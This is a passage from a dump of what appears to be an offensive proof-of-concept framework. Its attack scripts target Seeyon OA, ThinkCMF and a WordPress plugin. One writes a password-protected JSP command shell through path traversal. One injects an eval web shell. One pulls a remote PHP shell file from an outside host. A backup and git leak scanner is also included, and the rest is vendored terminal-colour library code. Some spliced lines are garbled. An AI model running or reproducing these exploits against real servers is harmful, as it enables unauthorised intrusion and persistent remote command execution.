30 | s = cipherlist[int(j):int(j) + 4] 31 | string += chr(((base64list.index(s[0])) << 2) + ((base64list.index(s[1])) >> 4)) 32 | if s[2] == '6': 33 | return string 34 | else: 35 | string += chr(((base64list.index(s[1]) & 0x0f) << 4) + ((base64list.index(s[2])) >> 2)) 36 | if s[3] == '6': 37 | return string 38 | else: 39 | string += chr(((base64list.index(s[2]) & 0x03) << 6) + ((base64list.index(s[3])))) 40 | return string 41 | 42 | def f_base64encode(input_str): 43 | base64list = 'gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6' 44 | str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', '')) 45 | for i in input_str] 46 | output_str = '' 47 | equal_num = 0 48 | while str_ascii_list: 49 | temp_list = str_ascii_list[:3] 50 | if len(temp_list) != 3: 51 | while len(temp_list) < 3: 52 | equal_num += 1 53 | temp_list += ['0' * 8] 54 | temp_str = ''.join(temp_list) 55 | temp_str_list = [temp_str[x:x + 6] for x in [0, 6, 12, 18]] 56 | temp_str_list = [int(x, 2) for x in temp_str_list] 57 | if equal_num: 58 | temp_str_list = temp_str_list[0:4 - equal_num] 59 | output_str += ''.join([base64list[x] for x in temp_str_list]) 60 | str_ascii_list = str_ascii_list[3:] 61 | output_str = output_str + '6' * equal_num 62 | # print(output_str) 63 | return output_str 64 | 65 | def poc(url): 66 | # url = "www.example.org/default.html?ct=32&op=92&item=98" 67 | # --> http://www.example.org 68 | if url[:4] != "http": 69 | url = "http://" + url 70 | o = urlparse(url) 71 | url = o.scheme + "://" + o.netloc 72 | headers = { 73 | "User-Agent":get_random_ua() 74 | } 75 | 76 | # shell_name can modify it yourself 77 | shell_name="config_db1.jsp" 78 | 79 | shell_url = url + "/seeyon/" + shell_name 80 | 81 | try: 82 | # just prevent being attacked 83 | res = request.get(shell_url, headers=headers, timeout=5, allow_redirects=False, verify=False) 84 | if res.status_code == 200 and ":-)" in res.text: 85 | return shell_url+'?pwd=fuckxxxx&cmd=cmd /c whoami' 86 | except: 87 | pass 88 | 89 | shell_name = "..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\" + shell_name 90 | # def_shell content can modufy iy youself 91 | def_shell = """<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("fuckxxxx".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd")) + "");}else{out.println(":-)");}%>""" 92 | def_shell = def_shell.encode() 93 | base_header = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkZUFENXlSUUh3TG9pcVJqaWRnNjYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo=" 94 | 95 | payload_head_len = 283 + len(f_base64encode(shell_name)) 96 | payload_shell_len = len(def_shell) 97 | payload_shell = def_shell + bytes(hashlib.md5(def_shell).hexdigest(), 'utf-8') 98 | payload_shell_name = f_base64encode(shell_name) 99 | payload = bytes(base64.b64decode(base_header).decode().replace('355', str(payload_head_len)).replace('666', str( 100 | payload_shell_len)).replace('qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeAD5yRQHwLoiqRjidg66', 101 | payload_shell_name), 'utf-8') + payload_shell 102 | try: 103 | request.post(url=url + "/seeyon/htmlofficeservlet", data=payload, headers=headers, timeout=5, allow_redirects=False, verify=False) 104 | res = request.get(url=shell_url, headers=headers, timeout=5, allow_redirects=False, verify=False).text 105 | except: 106 | return False 107 | 108 | if ":-)" in res: 109 | return shell_url+'?pwd=fuckxxxx&cmd=cmd /c whoami' 110 | else: 111 | return False 112 | -------------------------------------------------------------------------------- /scripts/source_leak_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | """ 9 | Copyright (c) pocframe (https://github.com/r0ckysec/pocframe) 10 | See the file 'LICENSE' for copying permission 11 | 检测信息泄露,协程异步请求 12 | """ 13 | 14 | import gevent 15 | from gevent.queue import Queue 16 | from lib.core.data import paths 17 | from lib.core.Request import request 18 | from urllib.parse import urlparse 19 | from plugin.random_ua import get_random_ua 20 | 21 | def poc(url): 22 | # url = "http://www.example.org/default.html?ct=32&op=92&item=98" 23 | # --> http://www.example.org 24 | if url[:4] != "http": 25 | url = "http://" + url 26 | o = urlparse(url) 27 | url = o.scheme + "://" + o.netloc 28 | result = [] 29 | payloads = Queue() 30 | with open(paths.DATA_PATH + '/source_leak_check_payload.txt') as f: 31 | for payload in f.read().splitlines(): 32 | payloads.put(payload) 33 | # 这里设置100个协程,payload有144个 34 | gevent.joinall([gevent.spawn(bak_scan, url, payloads, result) for i in range(100)]) 35 | if result: 36 | return result 37 | else: 38 | return False 39 | 40 | def bak_scan(url, payloads, result): 41 | headers = { 42 | "User-Agent":get_random_ua() 43 | } 44 | while not payloads.empty(): 45 | payload = payloads.get() 46 | vulnurl = url + "/" + payload 47 | try: 48 | flag = 0 49 | # 如果是备份文件则不需要下载,只需要head方法获取头部信息即可,否则文件较大会浪费大量的时间 50 | if 'zip' in payload or 'rar' in payload or 'gz' in payload or 'sql' in payload: 51 | req = request.head(vulnurl, headers=headers, timeout=5, allow_redirects=False, verify=False) 52 | # 404页面 'Content-Type': 'application/octet-stream', 53 | # zip 'application/x-zip-compressed' 'application/zip' 54 | # rar 'application/octet-stream' 'application/x-rar-compressed' 55 | # 采用Content-Type过滤,还是有一定误报 56 | if req.status_code == 200: 57 | if 'html' not in req.headers['Content-Type'] and 'image' not in req.headers['Content-Type']: 58 | flag = 1 59 | # 当检验git和svn、hg时则需要验证返回内容,get方法 60 | else: 61 | req = request.get(vulnurl, headers=headers, timeout=5, verify=False, allow_redirects=False) 62 | if req.status_code == 200: 63 | if 'svn' in payload: 64 | if 'dir' in req.text and 'svn' in req.text: 65 | flag = 1 66 | elif 'git' in payload: 67 | if 'repository' in req.text: 68 | flag = 1 69 | elif 'hg' in payload: 70 | if 'hg' in req.text: 71 | flag = 1 72 | elif '/WEB-INF/web.xml' in payload: 73 | if 'web-app' in req.text: 74 | flag = 1 75 | if flag == 1: 76 | result.append(vulnurl) 77 | except Exception as e: 78 | # print(e) 79 | continue -------------------------------------------------------------------------------- /scripts/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | 测试用例 11 | """ 12 | 13 | import random 14 | import time 15 | from lib.core.Request import request 16 | import traceback 17 | 18 | def poc(url): 19 | return request.get("http://ipconfig.me/ip").text 20 | 21 | -------------------------------------------------------------------------------- /scripts/thinkcmf_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | """ 10 | ThinkCMF框架的任意内容包含漏洞可shell 11 | ThinkCMF X1.6.0 12 | ThinkCMF X2.1.0 13 | ThinkCMF X2.2.0 14 | ThinkCMF X2.2.1 15 | ThinkCMF X2.2.2 16 | refer: https://www.freebuf.com/vuls/217586.html 17 | author: B1ain 18 | """ 19 | from lib.core.Request import request 20 | from plugin.target_parse import get_standard_url 21 | 22 | url_payload = """/?a=fetch&templateFile=public/index&prefix=''&content=
eval($_REQUEST['z']);30 | shellpath = "http://saucer-man.com/aa.txt" 31 | # 执行的shell命令 32 | shell = "phpinfo();" 33 | 34 | vulnurl = url + "/wp-admin/admin-post.php?swp_debug=load_options&swp_url={shellpath}&z={shell}".format(shellpath=shellpath,shell=shell) 35 | try: 36 | headers= {"User-Agent":get_random_ua()} 37 | r = request.get(vulnurl, headers = headers, timeout=5, verify=False, allow_redirects=False) 38 | if r.status_code == 200 and "PHP Version" in r.text: 39 | return vulnurl 40 | else: 41 | return False 42 | except: 43 | return False -------------------------------------------------------------------------------- /thirdlib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r0ckysec/pocframe/ad5aaab5e04809039b82f8d67a9c68baf7341255/thirdlib/__init__.py -------------------------------------------------------------------------------- /thirdlib/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.4.1' 7 | -------------------------------------------------------------------------------- /thirdlib/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /thirdlib/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll, winapi_test 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | class StreamWrapper(object): 17 | ''' 18 | Wraps a stream (such as stdout), acting as a transparent proxy for all 19 | attribute access apart from method 'write()', which is delegated to our 20 | Converter instance. 21 | ''' 22 | def __init__(self, wrapped, converter): 23 | # double-underscore everything to prevent clashes with names of 24 | # attributes on the wrapped stream object. 25 | self.__wrapped = wrapped 26 | self.__convertor = converter 27 | 28 | def __getattr__(self, name): 29 | return getattr(self.__wrapped, name) 30 | 31 | def __enter__(self, *args, **kwargs): 32 | # special method lookup bypasses __getattr__/__getattribute__, see 33 | # https://stackoverflow.com/questions/12632894/why-doesnt-getattr-work-with-exit 34 | # thus, contextlib magic methods are not proxied via __getattr__ 35 | return self.__wrapped.__enter__(*args, **kwargs) 36 | 37 | def __exit__(self, *args, **kwargs): 38 | return self.__wrapped.__exit__(*args, **kwargs) 39 | 40 | def write(self, text): 41 | self.__convertor.write(text) 42 | 43 | def isatty(self): 44 | stream = self.__wrapped 45 | if 'PYCHARM_HOSTED' in os.environ: 46 | if stream is not None and (stream is sys.__stdout__ or stream is sys.__stderr__): 47 | return True 48 | try: 49 | stream_isatty = stream.isatty 50 | except AttributeError: 51 | return False 52 | else: 53 | return stream_isatty() 54 | 55 | @property 56 | def closed(self): 57 | stream = self.__wrapped 58 | try: 59 | return stream.closed 60 | except AttributeError: 61 | return True 62 | 63 | 64 | class AnsiToWin32(object): 65 | ''' 66 | Implements a 'write()' method which, on Windows, will strip ANSI character 67 | sequences from the text, and if outputting to a tty, will convert them into 68 | win32 function calls. 69 | ''' 70 | ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer 71 | ANSI_OSC_RE = re.compile('\001?\033\\]((?:.|;)*?)(\x07)\002?') # Operating System Command 72 | 73 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 74 | # The wrapped stream (normally sys.stdout or sys.stderr) 75 | self.wrapped = wrapped 76 | 77 | # should we reset colors to defaults after every .write() 78 | self.autoreset = autoreset 79 | 80 | # create the proxy wrapping our output stream 81 | self.stream = StreamWrapper(wrapped, self) 82 | 83 | on_windows = os.name == 'nt' 84 | # We test if the WinAPI works, because even if we are on Windows 85 | # we may be using a terminal that doesn't support the WinAPI 86 | # (e.g. Cygwin Terminal). In this case it's up to the terminal 87 | # to support the ANSI codes. 88 | conversion_supported = on_windows and winapi_test() 89 | 90 | # should we strip ANSI sequences from our output? 91 | if strip is None: 92 | strip = conversion_supported or (not self.stream.closed and not self.stream.isatty()) 93 | self.strip = strip 94 | 95 | # should we should convert ANSI sequences into win32 calls? 96 | if convert is None: 97 | convert = conversion_supported and not self.stream.closed and self.stream.isatty() 98 | self.convert = convert 99 | 100 | # dict of ansi codes to win32 functions and parameters 101 | self.win32_calls = self.get_win32_calls() 102 | 103 | # are we wrapping stderr? 104 | self.on_stderr = self.wrapped is sys.stderr 105 | 106 | def should_wrap(self): 107 | ''' 108 | True if this class is actually needed. If false, then the output 109 | stream will not be affected, nor will win32 calls be issued, so 110 | wrapping stdout is not actually required. This will generally be 111 | False on non-Windows platforms, unless optional functionality like 112 | autoreset has been requested using kwargs to init() 113 | ''' 114 | return self.convert or self.strip or self.autoreset 115 | 116 | def get_win32_calls(self): 117 | if self.convert and winterm: 118 | return { 119 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 120 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 121 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 122 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 123 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 124 | AnsiFore.RED: (winterm.fore, WinColor.RED), 125 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 126 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 127 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 128 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 129 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 130 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 131 | AnsiFore.RESET: (winterm.fore, ), 132 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 133 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 134 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 135 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 136 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 137 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 138 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 139 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 140 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 141 | AnsiBack.RED: (winterm.back, WinColor.RED), 142 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 143 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 144 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 145 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 146 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 147 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 148 | AnsiBack.RESET: (winterm.back, ), 149 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 150 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 151 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 152 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 153 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 154 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 155 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 156 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 157 | } 158 | return dict() 159 | 160 | def write(self, text): 161 | if self.strip or self.convert: 162 | self.write_and_convert(text) 163 | else: 164 | self.wrapped.write(text) 165 | self.wrapped.flush() 166 | if self.autoreset: 167 | self.reset_all() 168 | 169 | 170 | def reset_all(self): 171 | if self.convert: 172 | self.call_win32('m', (0,)) 173 | elif not self.strip and not self.stream.closed: 174 | self.wrapped.write(Style.RESET_ALL) 175 | 176 | 177 | def write_and_convert(self, text): 178 | ''' 179 | Write the given text to our wrapped stream, stripping any ANSI 180 | sequences from the text, and optionally converting them into win32 181 | calls. 182 | ''' 183 | cursor = 0 184 | text = self.convert_osc(text) 185 | for match in self.ANSI_CSI_RE.finditer(text): 186 | start, end = match.span() 187 | self.write_plain_text(text, cursor, start) 188 | self.convert_ansi(*match.groups()) 189 | cursor = end 190 | self.write_plain_text(text, cursor, len(text)) 191 | 192 | 193 | def write_plain_text(self, text, start, end): 194 | if start < end: 195 | self.wrapped.write(text[start:end]) 196 | self.wrapped.flush() 197 | 198 | 199 | def convert_ansi(self, paramstring, command): 200 | if self.convert: 201 | params = self.extract_params(command, paramstring) 202 | self.call_win32(command, params) 203 | 204 | 205 | def extract_params(self, command, paramstring): 206 | if command in 'Hf': 207 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 208 | while len(params) < 2: 209 | # defaults: 210 | params = params + (1,) 211 | else: 212 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 213 | if len(params) == 0: 214 | # defaults: 215 | if command in 'JKm': 216 | params = (0,) 217 | elif command in 'ABCD': 218 | params = (1,) 219 | 220 | return params 221 | 222 | 223 | def call_win32(self, command, params): 224 | if command == 'm': 225 | for param in params: 226 | if param in self.win32_calls: 227 | func_args = self.win32_calls[param] 228 | func = func_args[0] 229 | args = func_args[1:] 230 | kwargs = dict(on_stderr=self.on_stderr) 231 | func(*args, **kwargs) 232 | elif command in 'J': 233 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 234 | elif command in 'K': 235 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 236 | elif command in 'Hf': # cursor position - absolute 237 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 238 | elif command in 'ABCD': # cursor position - relative 239 | n = params[0] 240 | # A - up, B - down, C - forward, D - back 241 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 242 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 243 | 244 | 245 | def convert_osc(self, text): 246 | for match in self.ANSI_OSC_RE.finditer(text): 247 | start, end = match.span() 248 | text = text[:start] + text[end:] 249 | paramstring, command = match.groups() 250 | if command in '\x07': # \x07 = BEL 251 | params = paramstring.split(";") 252 | # 0 - change title and icon (we will only change title) 253 | # 1 - change icon (we don't support this) 254 | # 2 - change title 255 | if params[0] in '02': 256 | winterm.set_title(params[1]) 257 | return text 258 | -------------------------------------------------------------------------------- /thirdlib/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | -------------------------------------------------------------------------------- /thirdlib/colorama/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | winapi_test = lambda *_: None 16 | else: 17 | from ctypes import byref, Structure, c_char, POINTER 18 | 19 | COORD = wintypes._COORD 20 | 21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 22 | """struct in wincon.h.""" 23 | _fields_ = [ 24 | ("dwSize", COORD), 25 | ("dwCursorPosition", COORD), 26 | ("wAttributes", wintypes.WORD), 27 | ("srWindow", wintypes.SMALL_RECT), 28 | ("dwMaximumWindowSize", COORD), 29 | ] 30 | def __str__(self): 31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 32 | self.dwSize.Y, self.dwSize.X 33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 34 | , self.wAttributes 35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 37 | ) 38 | 39 | _GetStdHandle = windll.kernel32.GetStdHandle 40 | _GetStdHandle.argtypes = [ 41 | wintypes.DWORD, 42 | ] 43 | _GetStdHandle.restype = wintypes.HANDLE 44 | 45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 46 | _GetConsoleScreenBufferInfo.argtypes = [ 47 | wintypes.HANDLE, 48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 49 | ] 50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 51 | 52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 53 | _SetConsoleTextAttribute.argtypes = [ 54 | wintypes.HANDLE, 55 | wintypes.WORD, 56 | ] 57 | _SetConsoleTextAttribute.restype = wintypes.BOOL 58 | 59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 60 | _SetConsoleCursorPosition.argtypes = [ 61 | wintypes.HANDLE, 62 | COORD, 63 | ] 64 | _SetConsoleCursorPosition.restype = wintypes.BOOL 65 | 66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 67 | _FillConsoleOutputCharacterA.argtypes = [ 68 | wintypes.HANDLE, 69 | c_char, 70 | wintypes.DWORD, 71 | COORD, 72 | POINTER(wintypes.DWORD), 73 | ] 74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 75 | 76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 77 | _FillConsoleOutputAttribute.argtypes = [ 78 | wintypes.HANDLE, 79 | wintypes.WORD, 80 | wintypes.DWORD, 81 | COORD, 82 | POINTER(wintypes.DWORD), 83 | ] 84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 85 | 86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW 87 | _SetConsoleTitleW.argtypes = [ 88 | wintypes.LPCWSTR 89 | ] 90 | _SetConsoleTitleW.restype = wintypes.BOOL 91 | 92 | def _winapi_test(handle): 93 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 94 | success = _GetConsoleScreenBufferInfo( 95 | handle, byref(csbi)) 96 | return bool(success) 97 | 98 | def winapi_test(): 99 | return any(_winapi_test(h) for h in 100 | (_GetStdHandle(STDOUT), _GetStdHandle(STDERR))) 101 | 102 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 103 | handle = _GetStdHandle(stream_id) 104 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 105 | success = _GetConsoleScreenBufferInfo( 106 | handle, byref(csbi)) 107 | return csbi 108 | 109 | def SetConsoleTextAttribute(stream_id, attrs): 110 | handle = _GetStdHandle(stream_id) 111 | return _SetConsoleTextAttribute(handle, attrs) 112 | 113 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 114 | position = COORD(*position) 115 | # If the position is out of range, do nothing. 116 | if position.Y <= 0 or position.X <= 0: 117 | return 118 | # Adjust for Windows' SetConsoleCursorPosition: 119 | # 1. being 0-based, while ANSI is 1-based. 120 | # 2. expecting (x,y), while ANSI uses (y,x). 121 | adjusted_position = COORD(position.Y - 1, position.X - 1) 122 | if adjust: 123 | # Adjust for viewport's scroll position 124 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 125 | adjusted_position.Y += sr.Top 126 | adjusted_position.X += sr.Left 127 | # Resume normal processing 128 | handle = _GetStdHandle(stream_id) 129 | return _SetConsoleCursorPosition(handle, adjusted_position) 130 | 131 | def FillConsoleOutputCharacter(stream_id, char, length, start): 132 | handle = _GetStdHandle(stream_id) 133 | char = c_char(char.encode()) 134 | length = wintypes.DWORD(length) 135 | num_written = wintypes.DWORD(0) 136 | # Note that this is hard-coded for ANSI (vs wide) bytes. 137 | success = _FillConsoleOutputCharacterA( 138 | handle, char, length, start, byref(num_written)) 139 